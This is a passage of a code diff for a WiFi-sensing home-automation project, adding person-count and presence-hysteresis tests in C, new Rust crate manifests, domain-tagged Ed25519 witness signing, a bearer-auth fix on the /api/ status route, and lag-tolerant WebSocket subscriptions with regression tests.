+    if (n_groups == 0) return 0;
+
+    float max_energy = 0.0f;
+    for (uint8_t g = 0; g < n_groups; g++) {
+        if (energy[g] > max_energy) max_energy = energy[g];
+    }
+    if (max_energy <= 0.0f) return 0;
+
+    float min_energy = max_energy * EDGE_PERSON_MIN_ENERGY_RATIO;
+
+    uint8_t counted_sc[EDGE_MAX_PERSONS];
+    uint8_t count = 0;
+
+    bool used[EDGE_MAX_PERSONS];
+    for (uint8_t g = 0; g < n_groups && g < EDGE_MAX_PERSONS; g++) used[g] = false;
+
+    for (uint8_t iter = 0; iter < n_groups && iter < EDGE_MAX_PERSONS; iter++) {
+        int best = -1;
+        float best_e = min_energy;
+        for (uint8_t g = 0; g < n_groups && g < EDGE_MAX_PERSONS; g++) {
+            if (used[g]) continue;
+            if (energy[g] >= best_e) { best_e = energy[g]; best = g; }
+        }
+        if (best < 0) break;
+        used[best] = true;
+
+        bool duplicate = false;
+        for (uint8_t c = 0; c < count; c++) {
+            int sep = (int)sc_idx[best] - (int)counted_sc[c];
+            if (sep < 0) sep = -sep;
+            if (sep < EDGE_PERSON_MIN_SC_SEP) { duplicate = true; break; }
+        }
+        if (duplicate) continue;
+
+        counted_sc[count++] = sc_idx[best];
+    }
+
+    if (count == 0) count = 1;
+    return count;
+}
+
+/* person_count_debounce() — issue #998 count persistence. */
+static uint8_t person_count_debounce(uint8_t raw, uint8_t *candidate,
+                                     uint8_t *streak, uint8_t *stable)
+{
+    if (raw == *stable) {
+        *candidate = raw;
+        *streak = 0;
+        return *stable;
+    }
+    if (raw == *candidate) {
+        if (*streak < 0xFF) (*streak)++;
+    } else {
+        *candidate = raw;
+        *streak = 1;
+    }
+    if (*streak >= EDGE_PERSON_PERSIST_FRAMES) {
+        *stable = *candidate;
+        *streak = 0;
+    }
+    return *stable;
+}
+
+/* presence_flag_update() — issue #996 hysteresis + clear debounce. */
+static bool presence_flag_update(bool prev, float score, float threshold,
+                                 uint8_t *below_count)
+{
+    float low_thresh = threshold * EDGE_PRESENCE_HYST_RATIO;
+
+    if (score > threshold) {
+        *below_count = 0;
+        return true;
+    }
+
+    if (score >= low_thresh) {
+        *below_count = 0;
+        return prev;
+    }
+
+    if (*below_count < 0xFF) (*below_count)++;
+    if (!prev) {
+        return false;
+    }
+    if (*below_count >= EDGE_PRESENCE_CLEAR_FRAMES) {
+        *below_count = 0;
+        return false;
+    }
+    return true;
+}
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  Test harness
+ * ────────────────────────────────────────────────────────────────────── */
+
+static int g_failed = 0;
+static int g_passed = 0;
+
+#define CHECK_EQ_U8(label, got, expected) do {                              \
+    if ((uint8_t)(got) == (uint8_t)(expected)) { g_passed++; }              \
+    else {                                                                  \
+        g_failed++;                                                         \
+        printf("FAIL: %s — got=%u expected=%u\n",                           \
+               (label), (unsigned)(uint8_t)(got),                           \
+               (unsigned)(uint8_t)(expected));                              \
+    }                                                                       \
+} while (0)
+
+#define CHECK_TRUE(label, cond) do {                                        \
+    if (cond) { g_passed++; }                                               \
+    else { g_failed++; printf("FAIL: %s — expected true\n", (label)); }     \
+} while (0)
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  #998 — count_distinct_persons: single body must NOT report EDGE_MAX_PERSONS
+ * ────────────────────────────────────────────────────────────────────── */
+
+/* One strong signature + weak multipath echoes in adjacent subcarrier groups.
+ * This is exactly the field report: one person ~50 cm → persons=4. The energy
+ * gate + spatial dedup must collapse this to 1. */
+static void test_count_single_strong_signature(void)
+{
+    /* 4 groups: one dominant, three weak multipath (below the energy gate),
+     * representative subcarriers clustered (adjacent → one body). */
+    float   energy[EDGE_MAX_PERSONS] = {10.0f, 0.6f, 0.4f, 0.3f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {20, 21, 22, 23};
+    CHECK_EQ_U8("single strong signature → 1",
+                count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 1);
+}
+
+/* Even if the weak echoes are spatially spread, they're still below the energy
+ * gate, so they don't count. */
+static void test_count_single_spread_multipath(void)
+{
+    float   energy[EDGE_MAX_PERSONS] = {10.0f, 1.0f, 0.8f, 0.5f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {10, 40, 70, 100};
+    CHECK_EQ_U8("single body spread multipath → 1",
+                count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 1);
+}
+
+/* Two genuine, well-separated, comparably-strong signatures → 2. */
+static void test_count_two_well_separated(void)
+{
+    float   energy[EDGE_MAX_PERSONS] = {10.0f, 9.0f, 0.3f, 0.2f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {10, 90, 11, 12};
+    CHECK_EQ_U8("two well-separated strong → 2",
+                count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 2);
+}
+
+/* Two strong but spatially ADJACENT signatures collapse to 1 (same body):
+ * spatial dedup prevents double-counting one person's two strong subcarriers. */
+static void test_count_two_strong_adjacent_dedup(void)
+{
+    float   energy[EDGE_MAX_PERSONS] = {10.0f, 9.0f, 0.3f, 0.2f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {20, 21, 60, 61};  /* 20 & 21 adjacent */
+    CHECK_EQ_U8("two strong but adjacent → 1 (dedup)",
+                count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 1);
+}
+
+/* No signal at all → 0 persons (empty room). */
+static void test_count_no_signal(void)
+{
+    float   energy[EDGE_MAX_PERSONS] = {0.0f, 0.0f, 0.0f, 0.0f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {10, 30, 50, 70};
+    CHECK_EQ_U8("no signal → 0", count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 0);
+}
+
+/* Three genuine well-separated strong signatures → 3 (gate doesn't under-count). */
+static void test_count_three_well_separated(void)
+{
+    float   energy[EDGE_MAX_PERSONS] = {10.0f, 9.0f, 8.0f, 0.2f};
+    uint8_t sc[EDGE_MAX_PERSONS]     = {10, 50, 90, 11};
+    CHECK_EQ_U8("three well-separated strong → 3",
+                count_distinct_persons(energy, sc, EDGE_MAX_PERSONS), 3);
+}
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  #998 — person_count_debounce: a single noisy frame can't change the count
+ * ────────────────────────────────────────────────────────────────────── */
+
+static void test_debounce_rejects_transient_spike(void)
+{
+    uint8_t candidate = 1, streak = 0, stable = 1;  /* settled on 1 person */
+
+    /* One spurious frame reports 4 — must NOT promote. */
+    uint8_t out = person_count_debounce(4, &candidate, &streak, &stable);
+    CHECK_EQ_U8("transient spike held at 1", out, 1);
+
+    /* Back to 1 — resets pending change. */
+    out = person_count_debounce(1, &candidate, &streak, &stable);
+    CHECK_EQ_U8("recovered to 1", out, 1);
+    CHECK_EQ_U8("streak reset", streak, 0);
+}
+
+static void test_debounce_accepts_sustained_change(void)
+{
+    uint8_t candidate = 1, streak = 0, stable = 1;
+
+    uint8_t out = 1;
+    /* A genuine 2-person arrival must hold EDGE_PERSON_PERSIST_FRAMES frames. */
+    for (int i = 0; i < EDGE_PERSON_PERSIST_FRAMES; i++) {
+        out = person_count_debounce(2, &candidate, &streak, &stable);
+    }
+    CHECK_EQ_U8("sustained 2 promoted", out, 2);
+    CHECK_EQ_U8("stable now 2", stable, 2);
+}
+
+/* A flapping count (2,1,2,1,...) never accumulates a streak → stays at stable. */
+static void test_debounce_flapping_stays_stable(void)
+{
+    uint8_t candidate = 1, streak = 0, stable = 1;
+    uint8_t out = 1;
+    for (int i = 0; i < 10; i++) {
+        out = person_count_debounce((i & 1) ? 1 : 2, &candidate, &streak, &stable);
+    }
+    CHECK_EQ_U8("flapping count stays at 1", out, 1);
+}
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  #996 — presence_flag_update: dithering score must NOT flicker the flag
+ * ────────────────────────────────────────────────────────────────────── */
+
+/* Field trace dithers around the OLD single threshold while the person is
+ * clearly present. With T_high=10, T_low=5, a score sequence that crosses 10
+ * up and down must produce a STABLE flag (no per-frame flicker). */
+static void test_presence_no_flicker_on_dither(void)
+{
+    const float threshold = 10.0f;  /* high threshold */
+    /* Observed-style trace (issue evidence: 2.6-26.7), but here we model the
+     * realistic "person present" case where the score mostly sits in/above the
+     * dead band and only briefly dips. */
+    float trace[] = {5.6f, 23.0f, 6.8f, 12.0f, 8.0f, 26.7f, 7.0f, 11.0f, 9.0f, 24.0f};
+    int n = (int)(sizeof(trace) / sizeof(trace[0]));
+
+    bool flag = false;
+    uint8_t below = 0;
+    int flips = 0;
+    bool prev = flag;
+    for (int i = 0; i < n; i++) {
+        flag = presence_flag_update(flag, trace[i], threshold, &below);
+        if (i > 0 && flag != prev) flips++;
+        prev = flag;
+    }
+    /* First sample (5.6) is below T_low=5? No, 5.6 >= 5 → dead band, holds
+     * initial false until 23.0 asserts. After that, dips to 6.8/8.0/7.0/9.0 are
+     * all >= T_low (5), so they HOLD true. The only transition is the initial
+     * false→true. No flicker. */
+    CHECK_TRUE("presence asserted by end", flag);
+    CHECK_TRUE("at most one transition (no flicker)", flips <= 1);
+}
+
+/* Hard dither straddling T_low must still not flicker frame-to-frame because of
+ * the clear debounce: brief sub-T_low dips don't immediately clear. */
+static void test_presence_clear_debounce_holds(void)
+{
+    const float threshold = 10.0f;  /* T_low = 5.0 */
+    bool flag = false;
+    uint8_t below = 0;
+
+    /* Assert. */
+    flag = presence_flag_update(flag, 20.0f, threshold, &below);
+    CHECK_TRUE("asserted on strong score", flag);
+
+    /* A few brief dips below T_low (< CLEAR_FRAMES) must NOT clear. */
+    for (int i = 0; i < EDGE_PRESENCE_CLEAR_FRAMES - 1; i++) {
+        flag = presence_flag_update(flag, 1.0f, threshold, &below);
+    }
+    CHECK_TRUE("brief dips below T_low still present", flag);
+
+    /* Recovery resets the debounce. */
+    flag = presence_flag_update(flag, 20.0f, threshold, &below);
+    CHECK_TRUE("recovered", flag);
+    CHECK_EQ_U8("below_count reset on recovery", below, 0);
+}
+
+/* A genuine departure (score drops and STAYS low) clears within the hold window. */
+static void test_presence_genuine_departure_clears(void)
+{
+    const float threshold = 10.0f;
+    bool flag = false;
+    uint8_t below = 0;
+
+    flag = presence_flag_update(flag, 20.0f, threshold, &below);
+    CHECK_TRUE("asserted", flag);
+
+    /* Person leaves: score stays well below T_low for CLEAR_FRAMES frames. */
+    for (int i = 0; i < EDGE_PRESENCE_CLEAR_FRAMES; i++) {
+        flag = presence_flag_update(flag, 0.5f, threshold, &below);
+    }
+    CHECK_TRUE("cleared after sustained low", !flag);
+}
+
+/* Schmitt gap: a score in the dead band (between T_low and T_high) holds state,
+ * it neither asserts from false nor clears from true. */
+static void test_presence_dead_band_holds_state(void)
+{
+    const float threshold = 10.0f;  /* dead band 5..10 */
+    uint8_t below = 0;
+
+    /* From false, a dead-band score does not assert. */
+    bool flag = presence_flag_update(false, 7.0f, threshold, &below);
+    CHECK_TRUE("dead band does not assert from false", !flag);
+
+    /* From true, a dead-band score does not clear. */
+    below = 0;
+    flag = presence_flag_update(true, 7.0f, threshold, &below);
+    CHECK_TRUE("dead band does not clear from true", flag);
+}
+
+/* ──────────────────────────────────────────────────────────────────────
+ *  main
+ * ────────────────────────────────────────────────────────────────────── */
+
+int main(void)
+{
+    /* #998 person count gate */
+    test_count_single_strong_signature();
+    test_count_single_spread_multipath();
+    test_count_two_well_separated();
+    test_count_two_strong_adjacent_dedup();
+    test_count_no_signal();
+    test_count_three_well_separated();
+
+    /* #998 count debounce */
+    test_debounce_rejects_transient_spike();
+    test_debounce_accepts_sustained_change();
+    test_debounce_flapping_stays_stable();
+
+    /* #996 presence hysteresis */
+    test_presence_no_flicker_on_dither();
+    test_presence_clear_debounce_holds();
+    test_presence_genuine_departure_clears();
+    test_presence_dead_band_holds_state();
+
+    printf("\n%d passed, %d failed\n", g_passed, g_failed);
+    return g_failed == 0 ? 0 : 1;
+}

v2/Cargo.lock

@@ -7085,6 +7085,42 @@ dependencies = [
  "smallvec",
 ]
 
+[[package]]
+name = "rufield-core"
+version = "0.1.0"
+dependencies = [
+ "serde",
+ "serde_json",
+]
+
+[[package]]
+name = "rufield-fusion"
+version = "0.1.0"
+dependencies = [
+ "rufield-core",
+ "rufield-provenance",
+ "serde",
+ "toml 0.8.23",
+]
+
+[[package]]
+name = "rufield-privacy"
+version = "0.1.0"
+dependencies = [
+ "rufield-core",
+]
+
+[[package]]
+name = "rufield-provenance"
+version = "0.1.0"
+dependencies = [
+ "ed25519-dalek",
+ "rufield-core",
+ "serde",
+ "serde_json",
+ "sha2",
+]
+
 [[package]]
 name = "rumqttc"
 version = "0.24.0"
@@ -10835,7 +10871,7 @@ dependencies = [
 
 [[package]]
 name = "wifi-densepose-cli"
-version = "0.3.0"
+version = "0.3.1"
 dependencies = [
  "anyhow",
  "assert_cmd",
@@ -11045,6 +11081,18 @@ dependencies = [
  "tower-http",
 ]
 
+[[package]]
+name = "wifi-densepose-rufield"
+version = "0.3.0"
+dependencies = [
+ "rufield-core",
+ "rufield-fusion",
+ "rufield-privacy",
+ "rufield-provenance",
+ "serde",
+ "serde_json",
+]
+
 [[package]]
 name = "wifi-densepose-ruvector"
 version = "0.3.2"
@@ -11067,7 +11115,7 @@ dependencies = [
 
 [[package]]
 name = "wifi-densepose-sensing-server"
-version = "0.3.2"
+version = "0.3.3"
 dependencies = [
  "axum",
  "chrono",
@@ -11094,6 +11142,7 @@ dependencies = [
  "wifi-densepose-engine",
  "wifi-densepose-geo",
  "wifi-densepose-hardware",
+ "wifi-densepose-rufield",
  "wifi-densepose-signal",
  "wifi-densepose-wifiscan",
  "wifi-densepose-worldgraph",
@@ -11101,7 +11150,7 @@ dependencies = [
 
 [[package]]
 name = "wifi-densepose-signal"
-version = "0.3.3"
+version = "0.3.4"
 dependencies = [
  "chrono",
  "criterion",

v2/Cargo.toml

@@ -72,6 +72,11 @@ members = [
     "crates/homecore-assist",      # ADR-133 — HOMECORE voice assistant + ruflo bridge
     "crates/homecore-server",      # iter-9 — HOMECORE integration binary (all 8 crates wired together)
     "crates/ruview-swarm",                         # ADR-148 — drone swarm control system
+    # ADR-262 P1 — anti-corruption bridge converting RuView WiFi-CSI sensing
+    # output into signed RuField FieldEvents. Path-deps the `vendor/rufield`
+    # submodule crates (rufield-core/-provenance/-privacy/-fusion); single
+    # coupling point between RuView and the standalone RuField MFS spec.
+    "crates/wifi-densepose-rufield",
 ]
 # ADR-040: WASM edge crate targets wasm32-unknown-unknown (no_std),
 # excluded from workspace to avoid breaking `cargo test --workspace`.

v2/crates/cog-ha-matter/src/witness.rs

@@ -102,19 +102,43 @@ pub struct WitnessEvent {
     pub this_hash: WitnessHash,
 }
 
+/// Domain-separation tag prefixing every witness canonical message.
+///
+/// This is the *domain tag* half of the "domain-tag + length-prefix"
+/// rule for any hashed/signed message whose fields are
+/// operator-influenceable. The witness chain already length-prefixes
+/// `kind` and `payload` (preventing intra-protocol concatenation
+/// forgery); the tag adds cross-protocol separation so a SHA-256
+/// preimage / Ed25519 message produced here can never be re-interpreted
+/// as a message from another signing context that shares key
+/// infrastructure — notably ADR-116's *manifest* `binary_signature`
+/// (Ed25519 over `binary_sha256`), which ADR-262 P2 reuses this exact
+/// chain for. A signature is only ever valid for the one domain whose
+/// tag it commits to.
+///
+/// The trailing NUL terminates the version string so a future
+/// migration (Blake3, extra fields, Merkle tier) bumps the tag instead
+/// of silently colliding with v1 bundles.
+pub const WITNESS_DOMAIN_TAG: &[u8] = b"cog-ha-matter/witness-event/v1\x00";
+
 /// Compute the canonical-bytes form an event is hashed over.
 ///
-/// The format is intentionally simple and length-prefixed so a
-/// future migration can be staged with a `version` byte in front
-/// without ambiguity:
+/// The format is domain-tagged and length-prefixed:
 ///
 /// ```text
-///   prev_hash[32] | seq:u64-be | ts:u64-be | kind_len:u32-be | kind | payload_len:u32-be | payload
+///   DOMAIN_TAG | prev_hash[32] | seq:u64-be | ts:u64-be
+///              | kind_len:u32-be | kind | payload_len:u32-be | payload
 /// ```
 ///
-/// Length-prefixing prevents the classic "concatenation forgery"
-/// attack where `"abc" + "def"` and `"ab" + "cdef"` would hash the
-/// same.
+/// * The leading [`WITNESS_DOMAIN_TAG`] gives cross-protocol
+///   separation: bytes signed/hashed here cannot be replayed as a
+///   message for another Ed25519 context in the same trust chain
+///   (e.g. the manifest `binary_signature`). It also carries a format
+///   version for staged migrations.
+/// * Length-prefixing `kind` and `payload` prevents the classic
+///   "concatenation forgery" where `"abc" + "def"` and `"ab" + "cdef"`
+///   would hash the same. The fixed-width `prev_hash`/`seq`/`ts`
+///   fields are self-delimiting.
 pub fn canonical_bytes(
     prev_hash: WitnessHash,
     seq: u64,
@@ -123,7 +147,10 @@ pub fn canonical_bytes(
     payload: &[u8],
 ) -> Vec<u8> {
     let kind_bytes = kind.as_bytes();
-    let mut out = Vec::with_capacity(32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len());
+    let mut out = Vec::with_capacity(
+        WITNESS_DOMAIN_TAG.len() + 32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len(),
+    );
+    out.extend_from_slice(WITNESS_DOMAIN_TAG);
     out.extend_from_slice(&prev_hash.0);
     out.extend_from_slice(&seq.to_be_bytes());
     out.extend_from_slice(&timestamp_unix_s.to_be_bytes());
@@ -466,11 +493,51 @@ mod tests {
     }
 
     #[test]
-    fn canonical_bytes_starts_with_prev_hash() {
+    fn canonical_bytes_starts_with_domain_tag_then_prev_hash() {
         // Locks the on-wire format. A future migration that flips
-        // field order must bump a version byte and update this test.
+        // field order must bump the domain tag and update this test.
         let bytes = canonical_bytes(WitnessHash([7u8; 32]), 1, 2, "k", b"p");
-        assert_eq!(&bytes[..32], &[7u8; 32]);
+        let tag = WITNESS_DOMAIN_TAG.len();
+        assert_eq!(&bytes[..tag], WITNESS_DOMAIN_TAG);
+        assert_eq!(&bytes[tag..tag + 32], &[7u8; 32]);
+    }
+
+    #[test]
+    fn canonical_bytes_is_domain_separated() {
+        // Cross-protocol separation: the witness preimage must begin
+        // with the domain tag so its SHA-256 / Ed25519 message can
+        // never be reinterpreted as a message from another signing
+        // context that shares key infrastructure (e.g. the manifest
+        // `binary_signature` over `binary_sha256`). Fails on the old
+        // un-tagged encoding, which began directly with `prev_hash`.
+        let bytes = canonical_bytes(WitnessHash::GENESIS, 0, 0, "k", b"p");
+        assert!(
+            bytes.starts_with(WITNESS_DOMAIN_TAG),
+            "canonical message is not domain-separated"
+        );
+        // The tag is versioned and NUL-terminated.
+        assert!(WITNESS_DOMAIN_TAG.ends_with(b"\x00"));
+        assert!(WITNESS_DOMAIN_TAG.windows(2).any(|w| w == b"v1"));
+    }
+
+    #[test]
+    fn witness_preimage_cannot_collide_with_a_bare_manifest_digest() {
+        // The manifest `binary_signature` signs a bare 64-byte
+        // SHA-256 hex string. A witness preimage must never *equal*
+        // such a string, even if an operator crafted kind/payload to
+        // try — the domain tag (33 bytes) + fixed 48-byte prefix make
+        // the witness message structurally longer and tag-distinct.
+        // Fails on the old encoding only if it could ever produce a
+        // 64-byte all-hex message; the tag makes the impossibility
+        // explicit and regression-guarded.
+        let manifest_digest_msg = "a".repeat(64); // 64 ASCII hex bytes
+        let witness = canonical_bytes(WitnessHash::GENESIS, 0, 0, "", b"");
+        assert_ne!(witness.as_slice(), manifest_digest_msg.as_bytes());
+        assert!(
+            witness.len() > manifest_digest_msg.len(),
+            "domain tag must make witness preimage structurally distinct"
+        );
+        assert!(!witness.starts_with(b"aaaa"));
     }
 
     #[test]

v2/crates/cog-ha-matter/src/witness_signing.rs

@@ -36,7 +36,7 @@
 //! key store (separate concern). Tests use a fixed-bytes seed for
 //! determinism — never check in real Seed keys here.
 
-use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
+use ed25519_dalek::{Signature, Signer, SigningKey, VerifyingKey};
 
 use crate::witness::{canonical_bytes, WitnessEvent};
 
@@ -58,6 +58,16 @@ pub fn sign_event(event: &WitnessEvent, key: &SigningKey) -> Signature {
 /// Verify an Ed25519 signature against a witness event using the
 /// Seed's public key. `Ok(())` iff the signature is valid for the
 /// event's canonical bytes under this key.
+///
+/// Uses `verify_strict` (not the permissive `Verifier::verify`) on
+/// purpose: for a tamper-evident *audit* chain the signature is the
+/// attestation, so non-canonical encodings and small-order public
+/// keys must be rejected. `verify_strict` enforces RFC 8032's
+/// stricter checks, giving the "one canonical signature per event"
+/// property an auditor relies on when comparing or deduplicating
+/// signed witness records. The public key is caller-pinned (the
+/// Seed's known verifying key) — never parsed from the event — so a
+/// forged event carrying its own key cannot self-verify.
 pub fn verify_signature(
     event: &WitnessEvent,
     signature: &Signature,
@@ -71,7 +81,7 @@ pub fn verify_signature(
         &event.payload,
     );
     public_key
-        .verify(&bytes, signature)
+        .verify_strict(&bytes, signature)
         .map_err(|_| SignatureVerifyError::Invalid)
 }
 
@@ -140,6 +150,58 @@ mod tests {
         verify_signature(&event, &sig, &public).expect("clean signature verifies");
     }
 
+    #[test]
+    fn signature_commits_to_domain_tag_not_bare_fields() {
+        // The signature is over the domain-tagged canonical bytes. A
+        // signature produced over the *un-tagged* concatenation of the
+        // same fields must NOT verify — proving cross-protocol
+        // separation reaches the signature layer, not just the hash.
+        // Fails on the old encoding where the signed message began
+        // directly with `prev_hash` (no tag).
+        use ed25519_dalek::Signer;
+        let key = fixed_key();
+        let public = key.verifying_key();
+        let event = fresh_event();
+
+        // Hand-build the OLD (un-tagged) preimage and sign it.
+        let mut untagged = Vec::new();
+        untagged.extend_from_slice(&event.prev_hash.0);
+        untagged.extend_from_slice(&event.seq.to_be_bytes());
+        untagged.extend_from_slice(&event.timestamp_unix_s.to_be_bytes());
+        untagged.extend_from_slice(&(event.kind.len() as u32).to_be_bytes());
+        untagged.extend_from_slice(event.kind.as_bytes());
+        untagged.extend_from_slice(&(event.payload.len() as u32).to_be_bytes());
+        untagged.extend_from_slice(&event.payload);
+        let old_sig = key.sign(&untagged);
+
+        // The current verifier (which uses the domain-tagged message)
+        // must reject a signature made over the un-tagged bytes.
+        let err = verify_signature(&event, &old_sig, &public).unwrap_err();
+        assert_eq!(err, SignatureVerifyError::Invalid);
+
+        // Sanity: the proper signature still verifies.
+        let good = sign_event(&event, &key);
+        verify_signature(&event, &good, &public).expect("tagged signature verifies");
+    }
+
+    #[test]
+    fn verify_uses_strict_path_and_pins_caller_key() {
+        // Regression guard: verification must run through the strict
+        // path against a CALLER-supplied key. A wrong key fails; the
+        // event never carries its own verifying key, so a forged event
+        // cannot self-attest. (verify_strict additionally rejects
+        // non-canonical / small-order encodings.)
+        let key = fixed_key();
+        let wrong = SigningKey::from_bytes(b"another-wrong-key-another-wrong-");
+        let event = fresh_event();
+        let sig = sign_event(&event, &key);
+        verify_signature(&event, &sig, &key.verifying_key()).expect("right key verifies");
+        assert_eq!(
+            verify_signature(&event, &sig, &wrong.verifying_key()).unwrap_err(),
+            SignatureVerifyError::Invalid
+        );
+    }
+
     #[test]
     fn verify_rejects_signature_under_wrong_key() {
         let key = fixed_key();

v2/crates/homecore-api/src/rest.rs

@@ -12,8 +12,20 @@ use crate::state::SharedState;
 #[derive(Serialize)]
 pub struct ApiRunning { message: &'static str }
 
-pub async fn api_root() -> Json<ApiRunning> {
-    Json(ApiRunning { message: "API running." })
+/// `GET /api/` — the HA `APIStatusView` ("API running." ping).
+///
+/// Security (HC-API-AUTH-01): HA's `APIStatusView` inherits
+/// `requires_auth = True` from `HomeAssistantView`, so an unauthenticated
+/// (or wrong-token) request to `/api/` returns **401**, not 200. HA
+/// clients (and the companion app) rely on this status route as a
+/// *token-validation probe* — a 200 here would tell a client a bad token
+/// is good, and would let an unauthenticated party confirm a live
+/// HOMECORE-API endpoint. The P2 handler skipped the bearer gate that
+/// every sibling route applies; this restores wire-compat by validating
+/// the bearer like `get_config`/`get_states` before replying.
+pub async fn api_root(headers: HeaderMap, State(s): State<SharedState>) -> ApiResult<Json<ApiRunning>> {
+    let _ = BearerAuth::from_headers(&headers, s.tokens()).await?;
+    Ok(Json(ApiRunning { message: "API running." }))
 }
 
 #[derive(Serialize)]

v2/crates/homecore-api/src/ws.rs

@@ -298,7 +298,17 @@ impl Connection {
                                     }
                                 }
                                 Ok(_) => {}
-                                Err(_) => break,
+                                // A slow consumer that falls >4,096 events behind
+                                // gets `Lagged(n)`, which is RECOVERABLE: the bus
+                                // doc (`bus.rs` §"Lagged receivers must re-sync")
+                                // and HA's WS contract both keep the subscription
+                                // alive across a lag. The pre-fix `Err(_) => break`
+                                // treated `Lagged` as fatal, silently killing the
+                                // client's event stream on a burst (HC-WS-LAG-01).
+                                // Skip the dropped window and continue; only a
+                                // `Closed` sender ends the task.
+                                Err(broadcast::error::RecvError::Lagged(_)) => continue,
+                                Err(broadcast::error::RecvError::Closed) => break,
                             },
                             evt = domain_rx.recv() => match evt {
                                 Ok(de) => {
@@ -316,7 +326,12 @@ impl Connection {
                                         if tx_clone.send(payload.to_string()).is_err() { break; }
                                     }
                                 }
-                                Err(_) => break,
+                                // Same recoverable-lag handling as the system arm
+                                // above (HC-WS-LAG-01): a lagged domain-event
+                                // receiver re-syncs and continues; only `Closed`
+                                // terminates the subscription.
+                                Err(broadcast::error::RecvError::Lagged(_)) => continue,
+                                Err(broadcast::error::RecvError::Closed) => break,
                             }
                         }
                     }

v2/crates/homecore-api/tests/server_bin_auth.rs

@@ -75,3 +75,72 @@ async fn from_env_path_enforces_whitelist() {
     assert!(!store.is_valid("not_in_whitelist").await);
     assert!(!store.is_dev_mode().await, "from_env must NOT be dev mode");
 }
+
+// ─── HC-API-AUTH-01: `GET /api/` must be auth-gated like every sibling ───
+//
+// HA's `APIStatusView` inherits `requires_auth = True`, so `/api/` returns
+// 401 for a missing/wrong bearer and 200 only for a valid one. The pre-fix
+// `api_root` took no headers and unconditionally returned 200 — these two
+// tests FAIL on that code.
+
+#[tokio::test]
+async fn api_root_rejects_missing_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::UNAUTHORIZED,
+        "GET /api/ with NO bearer must be 401 (HC-API-AUTH-01) — HA's \
+         APIStatusView requires_auth=True; a 200 here lets an \
+         unauthenticated party confirm a live endpoint and tells a \
+         token-validation probe a bad token is good"
+    );
+}
+
+#[tokio::test]
+async fn api_root_rejects_wrong_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .header("Authorization", "Bearer the_wrong_token")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::UNAUTHORIZED,
+        "GET /api/ with a WRONG bearer must be 401 (HC-API-AUTH-01)"
+    );
+}
+
+#[tokio::test]
+async fn api_root_accepts_correct_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .header("Authorization", "Bearer the_real_token")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::OK,
+        "GET /api/ with the correct bearer must still return 200 (API running.)"
+    );
+}

v2/crates/homecore-api/tests/ws_handshake.rs

@@ -166,3 +166,100 @@ async fn ping_pong_reply_is_received() {
     assert_eq!(reply["type"], "pong");
     assert_eq!(reply["id"], 7);
 }
+
+/// Variant of [`spawn_server_with_token`] that also returns a `HomeCore`
+/// handle (cheap `Arc` clone) so the test can fire events into the *same*
+/// bus the served subscription reads from.
+async fn spawn_server_returning_homecore(valid_token: &str) -> (SocketAddr, HomeCore) {
+    let hc = HomeCore::new();
+    let tokens = LongLivedTokenStore::empty();
+    tokens.register(valid_token).await;
+    let state = SharedState::with_tokens(hc.clone(), "Test", "test-version", tokens);
+    let app = router(state);
+
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let addr = listener.local_addr().unwrap();
+    tokio::spawn(async move {
+        axum::serve(listener, app).await.unwrap();
+    });
+    (addr, hc)
+}
+
+#[tokio::test]
+async fn subscription_survives_broadcast_lag() {
+    // HC-WS-LAG-01: the per-subscription event task must treat a broadcast
+    // `Lagged(n)` as RECOVERABLE (re-sync + continue), matching the bus
+    // contract ("Lagged receivers must re-sync") and HA's WS semantics.
+    //
+    // The pre-fix `Err(_) => break` killed the whole event-stream task on
+    // the first lag, so after a >4,096-event burst the client's stream
+    // went permanently silent. This test fires far more than the 4,096
+    // channel capacity to force a `Lagged`, then fires ONE more event and
+    // asserts the subscription still delivers it. FAILS (5s timeout) on
+    // the old code because the task is already dead.
+    use homecore::{Context, DomainEvent};
+
+    let (addr, hc) = spawn_server_returning_homecore("good_token_abc").await;
+    let url = format!("ws://{addr}/api/websocket");
+    let (mut ws, _resp) = connect_async(&url).await.unwrap();
+
+    let _ = next_json(&mut ws).await; // auth_required
+    ws.send(Message::Text(
+        serde_json::json!({"type":"auth","access_token":"good_token_abc"}).to_string(),
+    ))
+    .await
+    .unwrap();
+    let auth = next_json(&mut ws).await;
+    assert_eq!(auth["type"], "auth_ok");
+
+    // Subscribe to a specific domain event type so unrelated traffic is
+    // filtered out and we can deterministically match the post-lag event.
+    ws.send(Message::Text(
+        serde_json::json!({"id": 1, "type": "subscribe_events", "event_type": "lag_probe"})
+            .to_string(),
+    ))
+    .await
+    .unwrap();
+    let ack = next_json(&mut ws).await; // result ok for the subscribe
+    assert_eq!(ack["type"], "result");
+    assert_eq!(ack["success"], true);
+
+    // Flood the bus far past EVENT_CHANNEL_CAPACITY (4,096) with events the
+    // subscription FILTERS OUT (different event_type). Because the client
